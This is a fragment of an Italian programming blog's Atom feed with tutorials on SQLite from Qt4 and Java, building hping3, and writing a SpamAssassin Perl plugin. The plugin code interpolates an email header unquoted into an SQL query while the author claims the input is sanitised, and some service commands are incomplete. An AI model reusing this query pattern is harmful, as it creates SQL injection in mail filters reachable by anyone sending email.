src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-6136128432199390842</id><published>2010-09-26T22:34:00.005+02:00</published><updated>2010-09-26T23:08:26.449+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='Free Software'/><category scheme='http://www.blogger.com/atom/ns#' term='Qt'/><category scheme='http://www.blogger.com/atom/ns#' term='C/C++'/><title type='text'>SQLite - Il database da taschino</title><content type='html'>Avere il supporto di un database all'interno di un'applicazione aiuta ad immagazzinare i dati, a tenerli in ordine ed a consultarli con efficienza.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.altaso.com/images/external/sqlite_logo.gif"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 327px; height: 97px;" src="http://www.altaso.com/images/external/sqlite_logo.gif" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;SQLite (&lt;a href="http://www.sqlite.org/"&gt;http://www.sqlite.org/&lt;/a&gt;) è un database relazionale che sta all'interno delle applicazioni e permette di fare tutto ciò che solitamente richiederebbe una database tradizionale diviso in client e server (leggere MySQL, PostgreeSQL).&lt;br /&gt;&lt;br /&gt;Per ora ho provato l'integrazione solo con due linguaggi, C++/Qt4 e Java.&lt;br /&gt;&lt;br /&gt;In entrambi i casi i risultati sono stati ottimi e l'integrazione è stata rapidissima.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;QT4&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;Qt4 mette a disposizione una libreria per interagire con il db. Ecco uno stralcio di codice che permette di misurare il tempo di esecuzione di due semplici query.&lt;br /&gt;&lt;pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"&gt;&lt;code&gt;&lt;br /&gt;int main(int argc, char *argv[])&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;  QTime t;&lt;br /&gt;  t.start();&lt;br /&gt;  QSqlDatabase db = QSqlDatabase::addDatabase("QSQLITE");&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  db.setDatabaseName("qt.db");&lt;br /&gt;  db.open();&lt;br /&gt;&lt;br /&gt;  QSqlQuery * query = new QSqlQuery("insert into T1 values (1,'Insert from program.');",db);&lt;br /&gt;&lt;br /&gt;  int result = 1;&lt;br /&gt;  result = (query-&amp;gt;exec()) ?  0 : -1;&lt;br /&gt;&lt;br /&gt;  query-&amp;gt;prepare("SELECT * FROM T1;");&lt;br /&gt;  query-&amp;gt;exec();&lt;br /&gt;&lt;br /&gt;  while(query-&amp;gt;next())&lt;br /&gt;  {&lt;br /&gt;      QString line = query-&amp;gt;value(0).toString() + ","+query-&amp;gt;value(1).toString();&lt;br /&gt;      QString deb = "Linea trovata: " + line;&lt;br /&gt;      qDebug(deb.toStdString().c_str());&lt;br /&gt;&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  int elapsed = t.elapsed();&lt;br /&gt;&lt;br /&gt;  return elapsed;&lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Facendo girare il programma sul mio &lt;a href="http://opentalking.blogspot.com/2009/08/e-arrivato-il-nuovo-computer.html"&gt;laptop&lt;/a&gt; il tempo di esecuzione è stato di 3 millisecondi. Un ottimo risultato direi.&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Java&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;Ecco un piccolo esempio di codice Java che fa la stessa cosa.&lt;br /&gt;&lt;pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"&gt;&lt;code&gt;public static void main(String[] args) throws SQLException {&lt;br /&gt;    try {&lt;br /&gt;        Class.forName(&amp;quot;org.sqlite.JDBC&amp;quot;);&lt;br /&gt;&lt;br /&gt;        Connection conn = DriverManager.getConnection(&amp;quot;jdbc:sqlite:test.db&amp;quot;);&lt;br /&gt;        Statement stat = conn.createStatement();&lt;br /&gt;        stat.executeUpdate(&amp;quot;insert into T1 values (1,'Insert from program.');&amp;quot;);&lt;br /&gt;    } catch (ClassNotFoundException ex) {&lt;br /&gt;        Logger.getLogger(Main.class.getName()).log(Level.SEVERE, null, ex);&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Con il la parte di codice scritta in Java non ho eseguito dei test di performance ma ha garantito una portabilità incredibile visto che il file .jar contiene al suo interno la libreria per interagire con il database.&lt;br /&gt;&lt;br /&gt;Questo è solo un primo articolo che vuole fornire lo spunto a tutti quelli che verranno. Spero di essere stato utile.&lt;br /&gt;&lt;br /&gt;Alla prossima.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-6136128432199390842?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/6136128432199390842/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=6136128432199390842' title='1 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/6136128432199390842'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/6136128432199390842'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2010/09/sqlite-il-database-da-taschino.html' title='SQLite - Il database da taschino'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-2477564444007574427</id><published>2010-07-21T21:11:00.004+02:00</published><updated>2010-07-21T21:20:13.569+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programmazione'/><category scheme='http://www.blogger.com/atom/ns#' term='Gnu Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Kernel'/><title type='text'>Esplorando il kernel Linux: boot</title><content type='html'>Cominciando il mio viaggio all'interno del kernel Linux mi sono posto una domanda: come fa Linux a partire?&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_sXS0ScZT1Nw/TEdGg9JzamI/AAAAAAAAAic/eIsawZyD0K4/s1600/slackbox_shell.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 243px;" src="http://4.bp.blogspot.com/_sXS0ScZT1Nw/TEdGg9JzamI/AAAAAAAAAic/eIsawZyD0K4/s320/slackbox_shell.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5496439402214419042" /&gt;&lt;/a&gt;&lt;br /&gt;Ho cercato e trovato online un link molto interessante che voglio condividere: &lt;a href="http://www.ibm.com/developerworks/linux/library/l-linuxboot/"&gt;LINK&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;In questo articolo viene dettagliato il processo di boot del kernel linux in tutte le sue fasi.&lt;br /&gt;&lt;br /&gt;Questi passi possono essere ritrovati all'interno del codice sorgente. A questo proposito a &lt;a href="http://lxr.linux.no/#linux+v2.6.34.1/"&gt;questo indirizzo&lt;/a&gt; è possibile consultare il codice sorgente on-line molto comodamente e poter riferire ogni singola linea di codice tramite il bookmark che si trova sotto il numero.&lt;br /&gt;&lt;br /&gt;Buona lettura.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-2477564444007574427?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/2477564444007574427/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=2477564444007574427' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/2477564444007574427'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/2477564444007574427'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2010/07/esplorando-il-kernel-linux-boot.html' title='Esplorando il kernel Linux: boot'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_sXS0ScZT1Nw/TEdGg9JzamI/AAAAAAAAAic/eIsawZyD0K4/s72-c/slackbox_shell.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-3737781791283698778</id><published>2010-07-12T23:17:00.005+02:00</published><updated>2010-07-12T23:33:16.172+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Gnu Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='Free Software'/><category scheme='http://www.blogger.com/atom/ns#' term='Gnu Linux Slackware'/><title type='text'>How to install Hping3 from source code</title><content type='html'>Nella mia nuova Slackbox mancava uno strumento che è oggetto di studio da parte di un corso universitario che seguo:&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;b&gt;h&lt;span style="color: rgb(255, 68, 68);"&gt;p&lt;/span&gt;i&lt;span style="color: rgb(255, 68, 68);"&gt;ng&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.hping.org/hping.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 150px; height: 59px;" src="http://www.hping.org/hping.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Mi sono così procurato i sorgenti da &lt;a href="http://www.hping.org/"&gt;http://www.hping.org/&lt;/a&gt; e ho effettuato i soliti comandi:&lt;br /&gt;&lt;pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"&gt;&lt;code&gt;./configure&lt;br /&gt;make...&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;ecco che spunta un errore:&lt;br /&gt;libpcap_stuff.c alla linea 61 non riesce a trovare una funzione che si trova nel sorgente net/bpf.h&lt;br /&gt;&lt;br /&gt;Installo allora le librerie che vengono riportate in alcuni siti: &lt;a href="http://www.tcpdump.org/"&gt;http://www.tcpdump.org/&lt;/a&gt; e più precisamente la libreria libpcap.&lt;br /&gt;&lt;br /&gt;Queste librerie vengono installate facilmente eseguendo:&lt;br /&gt;&lt;pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"&gt;&lt;code&gt;./configure&lt;br /&gt;make&lt;br /&gt;make install&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Il file bpf.h viene però posizionato male.&lt;br /&gt;Dando questi comandi è possibile vedere come il file di nostro interesse si trovi dentro pcap e che la cartella net non è stata creata per niente.&lt;br /&gt;&lt;pre style="font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; color: rgb(0, 0, 0); background-color: rgb(238, 238, 238); font-size: 12px; border: 1px dashed rgb(153, 153, 153); line-height: 14px; padding: 5px; overflow: auto; width: 100%;"&gt;&lt;code&gt;# cd /usr/local/include/&lt;br /&gt;# cd pcap&lt;br /&gt;# ls&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Diamo allora i seguenti comandi:&lt;br /&gt;&lt;pre style="font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; color: rgb(0, 0, 0); background-color: rgb(238, 238, 238); font-size: 12px; border: 1px dashed rgb(153, 153, 153); line-height: 14px; padding: 5px; overflow: auto; width: 100%;"&gt;&lt;code&gt;# mkdir ../net&lt;br /&gt;# cp *.h ../net/&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Dopo di che posizioniamoci nella directory con i file sorgenti di Hping3 e diamo in sequenza:&lt;br /&gt;&lt;pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"&gt;&lt;code&gt;./configure&lt;br /&gt;make&lt;br /&gt;make install&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Il risultato sarà questo: &lt;br /&gt;&lt;pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"&gt;&lt;code&gt;root@slackbox:~# hping3&lt;br /&gt;hping3&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Buon divertimento con &lt;a href="http://en.wikipedia.org/wiki/Hping"&gt;Hping3&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-3737781791283698778?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/3737781791283698778/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=3737781791283698778' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/3737781791283698778'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/3737781791283698778'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2010/07/how-to-install-hping3-from-source-code.html' title='How to install Hping3 from source code'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-1887310944552923166</id><published>2010-06-29T21:57:00.000+02:00</published><updated>2010-06-29T22:16:09.789+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Sicurezza'/><category scheme='http://www.blogger.com/atom/ns#' term='Perl'/><category scheme='http://www.blogger.com/atom/ns#' term='Programmazione'/><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><category scheme='http://www.blogger.com/atom/ns#' term='Spamassassin'/><title type='text'>How to write Spamassassin plugin - part 2</title><content type='html'>Come promesso eccoci al secondo e ultimo appuntamento di questa serie.&lt;br /&gt;Precisiamo subito che semplici regole possono essere scritte direttamente all'interno dei file di configurazione. All'interno dei plugin vanno messe regole più complesse o che si basano su dati che cambiano frequentemente.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://spamassassin.apache.org/images/arrowlogo.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 334px; height: 148px;" src="http://spamassassin.apache.org/images/arrowlogo.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Per prima cosa bisogna ereditare dalla classe base Plugin&lt;br /&gt;&lt;pre style="font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; color: rgb(0, 0, 0); background-color: rgb(238, 238, 238); font-size: 12px; border: 1px dashed rgb(153, 153, 153); line-height: 14px; padding: 5px; overflow: auto; width: 100%;"&gt;&lt;code&gt;package Mail::SpamAssassin::Plugin::MyPlugin;&lt;br /&gt;use Mail::SpamAssassin::Plugin;&lt;br /&gt;use DBI;&lt;br /&gt;our @ISA = qw(Mail::SpamAssassin::Plugin);&lt;br /&gt;&lt;br /&gt;sub new {&lt;br /&gt;   my ($class, $mailsa) = @_;&lt;br /&gt;&lt;br /&gt;   # the usual perlobj boilerplate to create a subclass object&lt;br /&gt;   $class = ref($class) || $class;&lt;br /&gt;   my $self = $class-&amp;gt;SUPER::new($mailsa);&lt;br /&gt;   bless ($self, $class);&lt;br /&gt; &lt;br /&gt;   # add rule&lt;br /&gt;   $self-&amp;gt;register_eval_rule ("check_myplugin_header");&lt;br /&gt;  &lt;br /&gt;   return $self;                               &lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;1;&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;In questo modo abbiamo registrato la nuova regola già definita all'interno del file di configurazione.&lt;br /&gt;&lt;br /&gt;A questo punto bisogna dare corpo alla nuova regola che vogliamo introdurre nel tool.&lt;br /&gt;Nel frammento di codice sopra abbiamo importanto anche le librerie DBI che ci consentono di interrogare il database con un comodo Object Model.&lt;br /&gt;&lt;br /&gt;Facciamo un esempio di implementazione di una regola basata su DB.&lt;br /&gt;&lt;pre style="font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; color: rgb(0, 0, 0); background-color: rgb(238, 238, 238); font-size: 12px; border: 1px dashed rgb(153, 153, 153); line-height: 14px; padding: 5px; overflow: auto; width: 100%;"&gt;&lt;code&gt;sub check_myplugin_header&lt;br /&gt;{&lt;br /&gt;  &lt;br /&gt;   my ($self, $pms) = @_;&lt;br /&gt;&lt;br /&gt;   # Extract desidered informations from mail header   &lt;br /&gt;   $head = $pms-&amp;gt;get('CustomHeader');&lt;br /&gt;  &lt;br /&gt;   $result = 0;&lt;br /&gt;   study;&lt;br /&gt;  &lt;br /&gt;   chomp($head);&lt;br /&gt;   $head =~ s/;//;&lt;br /&gt;  &lt;br /&gt;   $dbh = DBI-&amp;gt;connect("dbi:mysql:spamassassindb","user","pass");&lt;br /&gt;  &lt;br /&gt;  &lt;br /&gt;   if(!defined $dbh)&lt;br /&gt;   {&lt;br /&gt;       die "Connessione al database non riuscita: $DBI::errstrn";&lt;br /&gt;   }&lt;br /&gt;  &lt;br /&gt;   $query = "SELECT count(accepted_headers) FROM headers WHERE accepted_headers = $head";&lt;br /&gt;  &lt;br /&gt;   # Insert query into database instructions&lt;br /&gt;   $sth = $dbh-&amp;gt;prepare($query);&lt;br /&gt;  &lt;br /&gt;   # Database query execution&lt;br /&gt;   $sth-&amp;gt;execute;&lt;br /&gt;  &lt;br /&gt;   $count = $sth-&amp;gt;fetchrow();&lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;   if($count eq 0)&lt;br /&gt;   {&lt;br /&gt;       # Report error&lt;br /&gt;       $result = 1;&lt;br /&gt;   }&lt;br /&gt;&lt;br /&gt;   # Disconnect from database&lt;br /&gt;   $dbh-&amp;gt;disconnect();&lt;br /&gt;&lt;br /&gt;   return $result;&lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Questo frammento di codice è piuttosto semplice e fa una query al db, tramite DBI, dopo aver bonificato la stringa da passare.&lt;br /&gt;Una cosa sicuramente da notare è il paramtro $pms che consente di accedere a tutti gli headers della mail.&lt;br /&gt;Forniamo allora questo messaggio&lt;br /&gt;&lt;pre style="font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; color: rgb(0, 0, 0); background-color: rgb(238, 238, 238); font-size: 12px; border: 1px dashed rgb(153, 153, 153); line-height: 14px; padding: 5px; overflow: auto; width: 100%;"&gt;&lt;code&gt;From god@heaven.com  Thu Jun 17 21:33:41 2010&lt;br /&gt;Return-Path: &amp;lt;god@heaven.com&amp;gt;&lt;br /&gt;X-Original-To: account@post-server&lt;br /&gt;Delivered-To: account@post-server&lt;br /&gt;Received: from post-server (host [127.0.0.1])&lt;br /&gt;   by post-server (Postfix) with SMTP id B66E9424F5&lt;br /&gt;   for &amp;lt;account@post-server&amp;gt;; Thu, 30 Jun 2010 21:33:20 +0200 (CEST)&lt;br /&gt;CustomHeader:blablabla&lt;br /&gt;Subject:Try this&lt;br /&gt;&lt;br /&gt;Simple mail to test my plugin.&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;a spamassassin e avremo due comportamenti diversi:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Se la stringa "blablabla" è contenuta nel database la regola non andrà ad aggiungere i punti definiti nel file di configurazione (2.0 dal post precedente)&lt;/li&gt;&lt;li&gt;Se la stringa "blablabla" non è contenuta allora la regola avrà un hit che sommerà 2 punti allo score totale. In questo secondo caso se questo punteggio fa superare la soglia (definita sempre nei vari file di configurazione) allora il messaggio verrà identificato come SPAM!!!&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;È un argomento piuttosto vasto che richiede tempo per essere assimilato. Questo è solo un input che vuole stimolare interesse. Spero di essere stato chiaro e sono a disposizione per un help in linea, per quanto posso fare.&lt;br /&gt;&lt;br /&gt;Have fun ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-1887310944552923166?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/1887310944552923166/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=1887310944552923166' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/1887310944552923166'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/1887310944552923166'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2010/06/how-to-write-spamassassin-plugin-part-2.html' title='How to write Spamassassin plugin - part 2'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-7613710548256115113</id><published>2010-06-27T22:10:00.000+02:00</published><updated>2010-06-27T22:12:27.706+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Sicurezza'/><category scheme='http://www.blogger.com/atom/ns#' term='Perl'/><category scheme='http://www.blogger.com/atom/ns#' term='Programmazione'/><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><category scheme='http://www.blogger.com/atom/ns#' term='Spamassassin'/><title type='text'>How to write Spamassassin plugin - part 1</title><content type='html'>Sono giunto a un buon punto di un progetto per un esame universitario (che verrà pubblicato non appena consegnato) che riguarda un argomento sul quale ho trovato pochissimo materiale.&lt;br /&gt;&lt;br /&gt;Si sta parlando della scrittura di un plugin che valuti una regola complessa su un messaggio e-mail, per determinare se si tratta di spam oppure no.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://spamassassin.apache.org/images/arrowlogo.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 334px; height: 148px;" src="http://spamassassin.apache.org/images/arrowlogo.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;C'è voluto molto tempo per raggiungere qualcosa di funzionante ma ora che ho fra le mani un po' di codice che gira posso scrivere un articolo come questo e colmare la lacuna che il web mi ha mostrato. (I'll translate this article soon for international usage)&lt;br /&gt;&lt;br /&gt;Cominciamo con installare tutto quello che serve (a parte una VM con sopra Ubuntu): &lt;a href="http://wiki.ubuntu-it.org/Server/Mail?highlight=(mail)|(server)"&gt;Documentazione Ubuntu - Mail Server&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;A questo punto il plugin ha bisogno di due cose:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Un file di configurazione che permetta di richiamare la regola e le assegni un punteggio.&lt;/li&gt;&lt;li&gt;Una classe Perl che implementi l'interfaccia Plugin e che definisca precisamente la regola che si vuole aggiungere a Spamassassin.&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;br /&gt;In questa prima parte ci concentreremo sul file di configurazione. Nel prossimo articolo parleremo di come scrivere un .pm che interroghi un database per la valutazione di un header.&lt;br /&gt;&lt;br /&gt;Il file di configurazione che bisogna comporre va depositato all'interno della directory di sistema &lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;/etc/spamassassin&lt;/span&gt;.&lt;br /&gt;Possiamo andare a scriverlo direttamente con il seguente comando:&lt;br /&gt;&lt;pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"&gt;&lt;code&gt;sudo gedit /etc/spamassassin/25_myplugin.cf&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt; &lt;br /&gt;All'interno di questo file andiamo a scrivere due cose. La prima è il collegamento della funzione che andremo a definire nella nostra classe. La seconda è lo score che la regola aggiunge alla valutazione se si verifica la condizione definita.&lt;br /&gt;Il contenuto sarà pressochè il seguente:&lt;br /&gt;&lt;pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"&gt;&lt;code&gt;# Rule load for MyPlugin&lt;br /&gt;header MY_RULE            eval:check_myplugin_header()&lt;br /&gt;score MY_RULE 2.0&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Per configurare la nostra personalizzazione manca solo un passaggio: bisogna far caricare a Spamassassin il nostro plugin. Va dunque cambiato un qualunque file *.pre. Apriamo quindi:&lt;br /&gt;&lt;pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"&gt;&lt;code&gt;sudo gedit /etc/spamassassin/v310.pre&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;In coda a questo file vanno aggiunte le seguenti righe affinchè il nostro plugin venga  caricato a successivo riavvio.&lt;br /&gt;&lt;pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"&gt;&lt;code&gt;# load MyPlugin&lt;br /&gt;loadplugin Mail::SpamAssassin::Plugin::MyPlugin&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Conclusa la configurazione è il momento di scrivere il vero e proprio plugin ma sarà argomento del prossimo post.&lt;br /&gt;&lt;br /&gt;Stay tuned ;)&lt;br /&gt;&lt;br /&gt;Ah, quasi dimenticavo:&lt;br /&gt;&lt;pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"&gt;&lt;code&gt;sudo /etc/init.d/postfix&lt;br /&gt;sudo /etc/init.d/spamassassin&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-7613710548256115113?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/7613710548256115113/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=7613710548256115113' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/7613710548256115113'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/7613710548256115113'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2010/06/how-to-write-spamassassin-plugin-part-1.html' title='How to write Spamassassin plugin - part 1'/><author><name>Massimiliano 